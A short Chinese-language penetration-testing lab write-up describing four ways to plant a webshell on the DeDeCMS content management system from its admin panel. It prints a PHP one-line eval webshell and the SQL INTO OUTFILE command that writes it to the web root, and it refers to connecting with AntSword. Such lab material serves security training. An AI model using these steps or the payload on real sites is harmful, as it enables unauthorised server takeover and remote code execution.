常⻅CMS漏洞 -DeDeCMS 获取webshell
DedeCMS是织梦团队开发PHP ⽹站管理系统，它以简单、易⽤、⾼效为特⾊，组建出各种各样各
具特⾊的⽹站
姿势⼀：通过⽂件管理器上传WebShell
1.访问⽬标靶场dedecms 后台可以直接上传任意⽂件
2.上传木马文件
3.蚁剑连接
姿势⼆：修改模板⽂件拿WebShell
1.直接修改模板拿WebShell
点击 【模板】 --》 【默认模板管理】 --》【index.htm】 --> 【修改】 在⽂件修改中添加⼀句话代码
点击 【⽣成】 --》 【更新主⻚HTML】 --》将主⻚位置修改为 【../index.php 】--》 点击 【⽣成静态】 --》点击 【更新主⻚】 再次访问站点⾸⻚可发现变化
2.访问phpinfo()成功
姿势三：后台任意命令执⾏拿WebShell
1.点击 【模块】 --》 【⼴告管理】 --》 【增加⼀个新⼴告】 --》在 【⼴告内容】 处添加⼀句话代码--》
2.点击【代码】--》在图中显示的路径与站点进⾏拼接....访问测试!
3.蚁剑连接
姿势四：通过后台sql命令执⾏拿webshe
1.访问系统---sql命令⾏⼯具---执⾏ select @@ basedir，获取mysql路径，由此瑞测⽹站绝对路径
select @@basedir;
2.into outfile写⼊⼀句话⽊⻢
select '<?php @eval($_POST[cmd]);?>' into outfile 'D:/phpstudy_pro/
WWW/6666.php
'
3.蚁剑连接
